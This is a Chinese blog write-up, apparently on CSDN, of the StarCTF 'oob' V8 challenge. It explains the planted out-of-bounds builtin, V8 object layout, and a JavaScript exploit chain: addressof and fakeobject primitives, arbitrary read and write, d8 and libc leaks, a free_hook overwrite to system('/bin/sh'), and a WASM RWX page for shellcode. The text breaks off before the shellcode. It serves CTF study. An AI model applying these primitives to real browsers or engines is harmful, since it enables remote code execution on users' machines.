仍然是因为某些原因，需要学学浏览器pwn
环境
depot_tools建议直接去gitlab里下，github上这个我用魔法都没下下来
下完之后执行
echo 'export PATH=$PATH:"/root/depot_tools"' >> ~/.bashrc
路径换成自己的就ok了
然后是ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/root/ninja"' >> ~/.bashr
没什么好说的，路径记得换成自己的
然后执行
fetch v8
cd v8
拉个v8源码下来，gclient sync似乎自动执行了，我亲测是这样的反正
然后你可以选择先编译个最新版的v8出来试试（编译这玩意是有点子慢的）
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
也可以选择直接编译题目的版本，一般题目会给commitid，比如我一会要学的第一道题starctf 的 oob题目，commitid是6dc88c191f5ecc5389dc26efa3ca0907faef3598，那就先这样再这样再这样。
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
环境差不多就先这些，后面遇到了再补充
starctf oob
这个题我真的是服了，切到对应版本以后，里面的代码居然有的是python2语法有的是python3语法，换了半天也没编译出来，还好手里有编译好的release版本，属实无语住了。
然后咱们看diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,Builtins::kArrayPrototypeCopyWithin, 2, false);SimpleInstallFunction(isolate_, proto, "fill",Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);SimpleInstallFunction(isolate_, proto, "find",Builtins::kArrayPrototypeFind, 1, false);SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,return *final_length;}} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}BUILTIN(ArrayPush) {HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \\/* ArrayBuffer */ \/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {return Type::Receiver();case Builtins::kArrayUnshift:return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();// ArrayBuffer functions.case Builtins::kArrayBufferIsView:csdn的markdown不支持diff语法，真丑啊。
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
这两行告诉我们作者给array添加了一个函数叫oob
下面是oob的具体实现
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
获取参数的数量，然后根据参数个数进行不同的操作
如果参数数量大于2则直接抛出undefined
如果参数数量小于等于2，则先把array转成doublearray
然后判断如果无额外参数（第一个是this），则是read功能，返回array[length]
如果传入了一个参数，则是write功能，将value写入到doublearray[length]中
diff文件到这里就解释完了
接下来熟悉熟悉v8对象的内存布局
var a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();
边写边记录，%DebugPrint可以打印对象的详细内存信息，%SystemBreak()可以下断点，用gdb调一下这段代码
gdb ./d8
set args --allow-natives-syntax ./test.js
调试的时候记得加上–allow-natives-syntax，这样才能用上面说的那两个调试函数。
这样就断下来了
由于这个题我没有debug版的d8可以用，所以debug_print的结果看不到了，也不能说看不到，不过信息非常少：
十分穷酸，只给我把a这个大小为4的JSArray的地址打印出来了
但是我依然可以使用一些命令来查看：
pwndbg> job 0x2bb952fcde81
0x2bb952fcde81: [JSArray]- map: 0x025e82cc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x1e15429d1111 <JSArray[0]>- elements: 0x2bb952fcde51 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]- length: 4- properties: 0x291530640c71 <FixedArray[0]> {#length: 0x145325ac01a9 <AccessorInfo> (const accessor descriptor)}- elements: 0x2bb952fcde51 <FixedDoubleArray[4]> {0: 1.11: 2.22: 3.33: 4}
比如使用job命令查看对象，可以看到有几个数据类型：map,prototype,elements等
这里解释一下为什么这么多以1结尾的地址，因为v8会用把指针用最低比特置1的方式进行标记。
这些属性的含义如下：
map：定义了如何访问对象
prototype：对象的原型（如果有）
elements：对象的地址
length：长度
properties：属性，存有map和length
从数据中也能看出来，当我们声明了一个对象的时候，真正的数据是存放在elements所指向的地址中的。还要注意一件事情，那就是elements的地址和对象本身的地址的关系：
对象本身的地址为0x2bb952fcde81
其对应的elements的地址为0x2bb952fcde51
elements的结构为：
pwndbg> job 0x2bb952fcde51
0x2bb952fcde51: [FixedDoubleArray]- map: 0x2915306414f9 <Map>- length: 40: 1.11: 2.22: 3.33: 4
由一个map地址和具体的数据组成，所以说当我们申请一个对象的时候，v8先申请了一个elements用于存放数据，然后紧接着又申请了一块内存用于存放对象本身的结构信息。
elements先说到这里，接下来说一说map的结构，以数组本身的map为例：
pwndbg> job 0x025e82cc2ed9
0x25e82cc2ed9: [Map]- type: JS_ARRAY_TYPE- instance size: 32- inobject properties: 0- elements kind: PACKED_DOUBLE_ELEMENTS- unused property fields: 0- enum length: invalid- back pointer: 0x025e82cc2e89 <Map(HOLEY_SMI_ELEMENTS)>- prototype_validity cell: 0x145325ac0609 <Cell value= 1>- instance descriptors #1: 0x1e15429d1f49 <DescriptorArray[1]>- layout descriptor: (nil)- transitions #1: 0x1e15429d1eb9 <TransitionArray[4]>Transition array #1:0x291530644ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x025e82cc2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>- prototype: 0x1e15429d1111 <JSArray[0]>- constructor: 0x1e15429d0ec1 <JSFunction Array (sfi = 0x145325ac6791)>- dependent code: 0x2915306402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>- construction counter: 0
一个map里包含了一系列信息如：
对象的动态类型，即String，Uint8Array，HeapNumber等。
对象的大小（以字节为单位）
对象的属性及其存储位置
数组元素的类型，例如，unboxed的双精度数或带标记的指针
对象的原型（如果有）
map决定了如何访问一个对象，也标识了一个对象的类型。
再来看看properties的结构：
pwndbg> job 0x291530640c71
0x291530640c71: [FixedArray]- map: 0x291530640801 <Map>- length: 0
它的结构就相对来说简单很多，里面只有一个map和一个length，后面有用到再细说，先混个脸熟。
大致熟悉了一下v8里的一些比较重要的数据类型以及对象的结构，接下来回想一下diff，既然是作者自己给array添加的函数，那必然意味着存在漏洞，write的功能是把一个用户自定义的value写入到doublearray[length]的位置，但是众所周知数组下标是0~length-1，所以这里其实相当于发生了一个越界写，同样的read那里也存在着一个越界读。
刚才我们提到，当申请一个array的时候，程序是先申请elements，然后再申请对象结构，而对象结构是以一个map开头的，当我们修改数据的时候，实际上是在修改elements，如果我们越界修改了elements，刚好就会覆盖掉这个对象本身的map地址，所以相当于我们有了读取所申请对象的map地址以及任意修改此map地址的权限。这就是本题的漏洞所在。
写个代码测试一下是否真的能修改map的值
先来点辅助函数尝尝，因为无论是越界读还是越界写都是浮点数形式，所以需要辅助函数来帮助我们在整数和浮点数之间转换，方法就是开一块空间让整数和浮点数共用，然后转一下就行。
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
//
function f2i(f)
{float64[0] = f;return bigUint64[0];
}
//
function i2f(i)
{bigUint64[0] = i;return float64[0];
}
//
function hex(i)
{return i.toString(16).padStart(16, "0");
} var a=[1,2,3,4]
var map_addr=f2i(a.oob())
console.log("[*] oob return data: "+hex(map_addr));
a.oob(i2f(0x6161616161616161n));
%DebugPrint(a);
%SystemBreak();
然后就翻车了，如图所示
可以看到之前我们用浮点数组尝试的时候，elements下面紧挨着的就是对象结构，也正是这点能够让我们越界一个下标读写就能读写到本对象的map信息，但是这里情况有变？假定v8对于对象的内存分配方式不变，那么elements是不是有点太大了，如果是这种情况那么我们越界一个下标读写就读写不到本对象的map了。参考的几篇文章似乎也没有在这里提到这个问题，可能因为他们没有像我一样傻到用全是整数的数组进行测试吧。
经过查询发现，原来都是整数的数组和包含了浮点数的数组是两种类型的数据，从map信息就能够看出来
const array = [1, 2, 3];
// elements 类型: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements 类型: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements 类型: PACKED_ELEMENTS
v8都有哪些数组类型可以看这个图
注意这里的速度由上至下是越来越慢的，并且降级是不可逆的
不管怎么样这个整数array的大小总归是不太对劲的，于是用tele查看一下内存
发现了奇怪的东西，前面几个数据都是很熟悉的elements的map,length以及data，为什么data后面又接了个FixedArray类型的map，难道下面其实另有一块结构，job一下看看
pwndbg> job 0xda69c08dee9
0xda69c08dee9: [FixedArray]- map: 0x390f81b80851 <Map>- length: 40: 0x2584ea1c3b29 <SharedFunctionInfo>1: 0x0da69c08d029 <String[474]\: var buf =new ArrayBuffer(16);\nvar float64 = new Float64Array(buf);\nvar bigUint64 = new BigUint64Array(buf);\n//\nfunction f2i(f)\n{\n float64[0] = f;\n return bigUint64[0];\n}\n// \nfunction i2f(i)\n{\n bigUint64[0] = i;\n return float64[0];\n}\n//\nfunction hex(i)\n{\n return i.toString(16).padStart(16, "0");\n}\n\nvar a=[1,2,3,4]\nvar map_addr=f2i(a.oob())\nconsole.log("[*] oob return data: "+hex(map_addr));\n//a.oob(i2f(0x6161616161616161n));\n%DebugPrint(a);\n%SystemBreak();>2: 03: -1
看完一整个呆住，这怎么还有我js程序的源码啊，好好好
总之申请一个PACKED_SMI_ELEMENTS的时候这结构肯定是多东西了，至于为什么会多就不是我一个初学者要去探究的了，等多了解了解v8内存申请规则可能就明白了吧。
回到这道题目，想要完成上述操作，大家还请记得申请带浮点数的数组hhhh
var a=[1.1,2,3,4]
var map_addr=f2i(a.oob())
console.log("[*] oob return data: "+hex(map_addr));
%DebugPrint(a);
%SystemBreak();
代码换成这样，再来试试能不能读取到map
pwndbg> job 0x03cc43b0e0b1
0x3cc43b0e0b1: [JSArray]- map: 0x247041f42ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x2e4730811111 <JSArray[0]>- elements: 0x03cc43b0e081 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]- length: 4- properties: 0x15bfe08c0c71 <FixedArray[0]> {#length: 0x29e3aa0001a9 <AccessorInfo> (const accessor descriptor)}- elements: 0x03cc43b0e081 <FixedDoubleArray[4]> {0: 1.11: 22: 33: 4}
这次就比较成功的读取到map了
再来试试对象数组
var a=[1.1,2,3,4]
var b={"x":1}
var c=[a,b]
var map_addr=f2i(a.oob())
console.log("[*] oob return data: "+hex(map_addr));
%DebugPrint(c);
%SystemBreak();
可以看到对象数组的结构也是elements和map紧邻着的
pwndbg> job 0x217d8930e9b1
0x217d8930e9b1: [JSArray]- map: 0x230184202f79 <Map(PACKED_ELEMENTS)> [FastProperties]- prototype: 0x0003238d1111 <JSArray[0]>- elements: 0x217d8930e991 <FixedArray[2]> [PACKED_ELEMENTS]- length: 2- properties: 0x1aa8b4cc0c71 <FixedArray[0]> {#length: 0x347bb83401a9 <AccessorInfo> (const accessor descriptor)}- elements: 0x217d8930e991 <FixedArray[2]> {0: 0x217d8930e921 <JSArray[4]>1: 0x217d8930e941 <Object map = 0x23018420ab39>}
既然能够修改map，而v8在解析对象的时候又依赖于map，那么我们来尝试进行一下类型混淆。
之前想将map修改为0x6161616161616161，但是走到下一个断点之前就会段错误，所以还是老老实实的合理进行类型混淆吧
浮点数组存储的是具体的浮点数值，对象数组存储的是每一个对象的地址，在使用的时候我们是无法获取到对象数组里的对象地址用作计算的，但是通过类型混淆可以做到。如果定义了一个对象数组，然后把数组的map改成浮点数组的map，此时对于任何一个放入对象数组的对象，都可以直接通过索引获取到具体的地址值。
顺理成章的我们也就写出了addressof函数，实现了获取任意对象的内存地址功能
var float_array=[1.1,2.2]
var int_array =[1,2]
var obj_array=[float_array,int_array]
var float_map=float_array.oob()//float
var obj_map=obj_array.oob()//floatfunction addressof(obj)
{obj_array[0]=obj;obj_array.oob(float_map);//set obj_array mapvar address=hex(f2i(obj_array[0])-1n);obj_array.oob(obj_map);//recovery obj_array mapreturn address;
}
var a=[1,2,3,4]
console.log(addressof(a));
%DebugPrint(a);
%SystemBreak();
首先搞个float array和obj array出来，分别获取他俩的map，然后对于某个我们想获取地址的对象，只需要先放进obj array里，然后修改obj array的map为float map，直接读取obj array，就可以把地址当做一个浮点数直接leak出来了，可以看到我们通过类型混淆自己泄露出来的地址和debugprint出来的地址是一样的。
有了任意对象的地址泄露，接下来就想想是否可以伪造一个object，和地址泄露逻辑相反，如果我们写好一个浮点数组，保证里面（elements）是一个完整的对象结构，通过addressof函数获取浮点数组的地址，再利用elements和对象结构偏移可计算的特点获取到elements的地址，填到之前申请的全局变量float array中，然后修改float array的map为obj map，再通过索引将其取出，此时就把原来的数据完全可控的elements伪造成了一个object。
按照上述思路写出fakeobject函数
function fakeobject(obj_address)
{float_array[0]=i2f(obj_address+1n);float_array.oob(obj_map);var fakeobj=float_array[0];float_array.oob(float_map);return fakeobj;
}
伪造对象的能力，回归到漏洞利用上来，肯定还是要关注任意地址读写这件事，我们知道一个数组的读写，当其他字段都没有被破坏的情况下，其实就是在操作elements里的元素，所以我们只需要在伪造对象的时候，将elements指针指向想要进行读写的address，理论上来讲就可以实现任意地址的读写。
理论可行，实践一下，首先观察结构
pwndbg> job 0x14f08f6cec31
0x14f08f6cec31: [JSArray]- map: 0x38e442282ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x27efc09d1111 <JSArray[0]>- elements: 0x14f08f6cec01 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]- length: 4- properties: 0x03d4acf00c71 <FixedArray[0]> {#length: 0x05720a8401a9 <AccessorInfo> (const accessor descriptor)}- elements: 0x14f08f6cec01 <FixedDoubleArray[4]> {0: 1.11: 22: 33: 4}
pwndbg> job 0x14f08f6cec01
0x14f08f6cec01: [FixedDoubleArray]- map: 0x03d4acf014f9 <Map>- length: 40: 1.11: 22: 33: 4
pwndbg>
obj的地址距离elements的头部是（8数据个数+0x10）,elements存储的结构是map,length,data，所以实际数据的位置应该是obj地址-8n
先按照格式在float array中伪造一个float obj出来
var fake_array = [float_array_map,i2f(0n),//无原型i2f(0x41414141n),//fake obj's elements ptri2f(0x1000000000n),//fake obj length1.1,2.2
];
上面我们伪造的是一个无原型的float array
然后获取fake obj,构造read64函数并进行验证
var fake_obj_address=addressof(fake_array)-6n*8n;
var fake_obj=fakeobject(fake_obj_address);
function read64(address)
{fake_array[2]=i2f(address-0x10n+1n);data=f2i(fake_obj[0]);return data;
}var target=[1,2,3,4];
var target_addr=addressof(target);
var leak_data=read64(target_addr);
console.log("[*] leak from: 0x" +hex(target_addr) + ": 0x" + hex(leak_data));
%DebugPrint(target);
%SystemBreak();
通过构建好的read64函数，尝试获取target的map值
pwndbg> job 0x0a97e720f019
0xa97e720f019: [JSArray]- map: 0x2641d8d02d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]- prototype: 0x158588d11111 <JSArray[0]>- elements: 0x0a97e720e399 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]- length: 4- properties: 0x3d2acc240c71 <FixedArray[0]> {#length: 0x382150f401a9 <AccessorInfo> (const accessor descriptor)}- elements: 0x0a97e720e399 <FixedArray[4]> {0: 11: 22: 33: 4}
非常完美的获取到了target对象的map值，至此获得了任意地址读功能，接下来的任意地址写功能思路相同，直接构建就好
function write64(address,value)
{fake_array[2]=i2f(address-0x10n+1n);fake_obj[0]=i2f(value);
}
但是这种方式进行任意地址写会存在一些问题在写0x7fxxxxx这样的高地址的时候会出现问题，地址的低位会被修改，导致出现访问异常。因为write64写原语使用的是FloatArray的写入操作，而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0
解决：DataView对象中的backing_store会指向申请的data_buf(backing_store相当于我们的elements)，修改backing_store为我们想要写的地址，并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){write64(buf_backing_store_addr, addr);data_view.setBigUint64(0, data, true);console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
一种改进任意地址写的方法，是不涉及漏洞思路但是值得收藏的工具类代码
有了任意地址读写，接下来就要考虑最终目标get shell了
get shell的方式有两种，既可以控制free_hook为system，执行system(“/bin/sh”)，也可以直接用wasm执行shellcode
首先是控制free_hook的方式：
首先肯定是泄露libc的地址，先来看看栈空间里都有些什么：
在我们申请的临时变量上方是有代码段地址的，把这种0x55或者0x56开头的地址泄露出来，然后减去偏移就可以计算出代码基地址，从而得到got表地址，最后达到泄露libc的目的。
while(1)
{var data=read64(target_addr);if(((data&0x0000ff0000000fffn)==0x0000550000000830n)||((data&0x0000ff0000000fffn)==0x0000560000000830n)){codebase=data;break;}target_addr-=8n;
}
利用类似这种方式从当前变量栈地址开始向上搜索。
但是这种泄露libc的方式不是很稳定，如果栈上方真的就没有什么稳定的d8代码段地址，我们就需要另一种能够稳定获得d8地址就方法，再回到数组的结构中：
pwndbg> job 0x0d58eb00f389
0xd58eb00f389: [JSArray]- map: 0x09d569182d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]- prototype: 0x037cdced1111 <JSArray[0]>- elements: 0x0d58eb00e5e9 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]- length: 4- properties: 0x18b956200c71 <FixedArray[0]> {#length: 0x2a2ccf5c01a9 <AccessorInfo> (const accessor descriptor)}- elements: 0x0d58eb00e5e9 <FixedArray[4]> {0: 11: 22: 33: 4}
pwndbg> job 0x09d569182d99
0x9d569182d99: [Map]- type: JS_ARRAY_TYPE- instance size: 32- inobject properties: 0- elements kind: PACKED_SMI_ELEMENTS- unused property fields: 0- enum length: invalid- back pointer: 0x18b9562004d1 <undefined>- prototype_validity cell: 0x2a2ccf5c0609 <Cell value= 1>- instance descriptors (own) #1: 0x037cdced1f49 <DescriptorArray[1]>- layout descriptor: (nil)- transitions #1: 0x037cdced1e59 <TransitionArray[4]>Transition array #1:0x18b956204ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x09d569182e89 <Map(HOLEY_SMI_ELEMENTS)>- prototype: 0x037cdced1111 <JSArray[0]>- constructor: 0x037cdced0ec1 <JSFunction Array (sfi = 0x2a2ccf5c6791)>- dependent code: 0x18b9562002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>- construction counter: 0
pwndbg> job 0x037cdced0ec1
0x37cdced0ec1: [Function] in OldSpace- map: 0x09d569182d49 <Map(HOLEY_ELEMENTS)> [FastProperties]- prototype: 0x037cdcec2109 <JSFunction (sfi = 0x2a2ccf5c3b29)>- elements: 0x18b956200c71 <FixedArray[0]> [HOLEY_ELEMENTS]- function prototype: 0x037cdced1111 <JSArray[0]>- initial_map: 0x09d569182d99 <Map(PACKED_SMI_ELEMENTS)>- shared_info: 0x2a2ccf5c6791 <SharedFunctionInfo Array>- name: 0x18b956203599 <String[#5]: Array>- builtin: ArrayConstructor- formal_parameter_count: 65535- kind: NormalFunction- context: 0x037cdcec1869 <NativeContext[246]>- code: 0x3bc592106981 <Code BUILTIN ArrayConstructor>- properties: 0x037cdced1029 <PropertyArray[6]> {#length: 0x2a2ccf5c04b9 <AccessorInfo> (const accessor descriptor)#name: 0x2a2ccf5c0449 <AccessorInfo> (const accessor descriptor)#prototype: 0x2a2ccf5c0529 <AccessorInfo> (const accessor descriptor)0x18b956204c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]0x18b956204f41 <Symbol: Symbol.species>: 0x037cdced0fd9 <AccessorPair> (const accessor descriptor)#isArray: 0x037cdced1069 <JSFunction isArray (sfi = 0x2a2ccf5c6829)> (const data field 1) properties[1]#from: 0x037cdced10a1 <JSFunction from (sfi = 0x2a2ccf5c6879)> (const data field 2) properties[2]#of: 0x037cdced10d9 <JSFunction of (sfi = 0x2a2ccf5c68b1)> (const data field 3) properties[3]}- feedback vector: not availablepwndbg> job 0x3bc592106981
0x3bc592106981: [Code]- map: 0x18b956200a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7ffcffda4a78Trampoline (size = 13)
0x3bc5921069c0 0 49baa02aad1604560000 REX.W movq r10,0x560416ad2aa0 (ArrayConstructor)
0x3bc5921069ca a 41ffe2 jmp r10Instructions (size = 28)
0x560416ad2aa0 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x560416ad2aa4 4 7405 jz 0x560416ad2aab (ArrayConstructor)
0x560416ad2aa6 6 488bca REX.W movq rcx,rdx
0x560416ad2aa9 9 eb03 jmp 0x560416ad2aae (ArrayConstructor)
0x560416ad2aab b 488bcf REX.W movq rcx,rdi
0x560416ad2aae e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x560416ad2ab2 12 488bd1 REX.W movq rdx,rcx
0x560416ad2ab5 15 e926000000 jmp 0x560416ad2ae0 (ArrayConstructorImpl)
0x560416ad2aba 1a 90 nop
0x560416ad2abb 1b 90 nopSafepoints (size = 8)RelocInfo (size = 2)
0x3bc5921069c2 off heap target
在gdb中查看这样一条链子，array->map->constructor->code
可以看到在code中存在一些代码，这里可能还不太直观，直接用tele查看内存看看
pwndbg> tele 0x3bc592106980 50
00:0000│ 0x3bc592106980 —▸ 0x18b956200a31 ◂— 0x18b9562001
01:0008│ 0x3bc592106988 —▸ 0x18b956202c01 ◂— 0x18b9562007
02:0010│ 0x3bc592106990 —▸ 0x18b956200c71 ◂— 0x18b9562008
03:0018│ 0x3bc592106998 —▸ 0x18b956202791 ◂— 0x18b9562007
04:0020│ 0x3bc5921069a0 —▸ 0x2a2ccf5d16a9 ◂— 0xd1000018b9562014
05:0028│ 0x3bc5921069a8 ◂— or eax, 0xc6000000 /* '\r' */
06:0030│ 0x3bc5921069b0 ◂— sbb al, 0
07:0038│ 0x3bc5921069b8 ◂— and al, 0 /* '$' */
08:0040│ 0x3bc5921069c0 ◂— movabs r10, 0x560416ad2aa0
09:0048│ 0x3bc5921069c8 ◂— add byte ptr [rax], al
0a:0050│ 0x3bc5921069d0 ◂— add byte ptr [rax], al
0b:0058│ 0x3bc5921069d8 ◂— add byte ptr [rax], al
0c:0060│ 0x3bc5921069e0 —▸ 0x18b956200a31 ◂— 0x18b9562001
0d:0068│ 0x3bc5921069e8 —▸ 0x18b956202c01 ◂— 0x18b9562007
0e:0070│ 0x3bc5921069f0 —▸ 0x18b956200c71 ◂— 0x18b9562008
0f:0078│ 0x3bc5921069f8 —▸ 0x18b956202791 ◂— 0x18b9562007
10:0080│ 0x3bc592106a00 —▸ 0x2a2ccf5d16c1 ◂— 0xd1000018b9562014
11:0088│ 0x3bc592106a08 ◂— or eax, 0xc6000000 /* '\r' */
12:0090│ 0x3bc592106a10 ◂— mov byte ptr [rcx], al
13:0098│ 0x3bc592106a18 ◂— lahf
14:00a0│ 0x3bc592106a20 ◂— movabs r10, 0x560416ad2ae0
对于这样的汇编代码movabs r10, 0x560416ad2aa0
这个立即数看起来是不是非常像代码段的地址，没错它就是，也就是说通过一次次固定偏移的读操作，就可以稳定获取到一个代码段的地址，来试试看！
function leak_d8base(obj_addr)
{var map_r=read64(obj_addr)-1n;console.log("[*] leak map_r: 0x"+hex(map_r));var constructor_r=read64(map_r+0x20n)-1n;console.log("[*] leak constructor_r: 0x"+hex(constructor_r));var code=read64(constructor_r+0x30n)-1n;console.log("[*] leak code: 0x"+hex(code));var d8base=read64(code+0x42n);console.log("[*] leak d8base: 0x"+hex(d8base));return d8base-0xfafaa0n;
}
var target=[1,2,3,4];
var target_addr=addressof(target);
var d8base=leak_d8base(target_addr);
console.log("[*] leak d8base: 0x"+hex(d8base));
可以看到已经成功泄露出d8base了，并且非常稳定，接下来的事情就非常好做了，只需要修改free_hook为system然后new一个字符串/bin/sh\x00，在字符串销毁的时候就会触发free。
function leak_d8base(obj_addr)
{var map_r=read64(obj_addr)-1n;var constructor_r=read64(map_r+0x20n)-1n;var code=read64(constructor_r+0x30n)-1n;var d8base=read64(code+0x42n);return d8base-0xfafaa0n;
}
function get_shell(){var shell_str = new String("/bin/sh\0");
}
var target=[1,2,3,4];
var target_addr=addressof(target);
var d8base=leak_d8base(target_addr);
console.log("[*] leak d8base: 0x"+hex(d8base));
var free_got=d8base+0x12955e8n;
var libcbase=read64(free_got)-0xa53e0n;
var system=libcbase+0x50d70n;
console.log("[*] leak libcbase: 0x"+hex(libcbase));
console.log("[*] leak system: 0x"+hex(system));
var free_hook=libcbase+0x2204a8n;
console.log("[*] leak free_hook: 0x"+hex(free_hook));
writeDataview(free_hook,system);
//%DebugPrint(target);
%SystemBreak();
get_shell();
不过现在我的虚拟机用的是ubuntu22，所以
其实free_hook控制程序执行流的方法已经走不通了，为了验证我们是否成功修改了free_hook，只能是用gdb看一看了，getshell在我现在这个版本的libc上已经不行了。
接下来是第二种getshell的方法，即直接执行shellcode
运行shellcode的方式是wasm
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
步骤：
1、 首先写一段wasm代码到内存中；
2、 然后通过addressOf找到存放的wasm的内存地址
3、 接着通过任意地址写原语用shellcode替换原本wasm的代码内容；
4、 最后调用wasm 的函数接口即可触发调用shellcode
通过Function -> shared_info -> WasmExportedFunctionData -> instance，在instance+0x88的固定偏移处，就能读取到存储wasm代码的内存页地址起始地址
起始地址的读取和上面我们稳定获取d8base的方式基本相同，通过链子不断深入，这里直接封装成函数：
function leak_rwxpage(fun_addr)
{var shared_info_addr = read64(fun_addr + 0x18n) - 0x1n;var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;var rwx_page_addr = read64(wasm_instance_addr + 0x88n);return rwx_page_addr;
}
function get_wasm_fun()
{var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});return wasmInstance.exports.main;
}
var f = get_wasm_fun();
var f_addr = addressof(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var rwx_page=leak_rwxpage(f_addr);
console.log("[*] leak rwx_page: 0x" + hex(rwx_page));
获取到了rwx的地址，然后用之前的任意地址写直接将getshell的shellcode写进去，最后执行wasm函数就ok了
function leak_rwxpage(fun_addr)
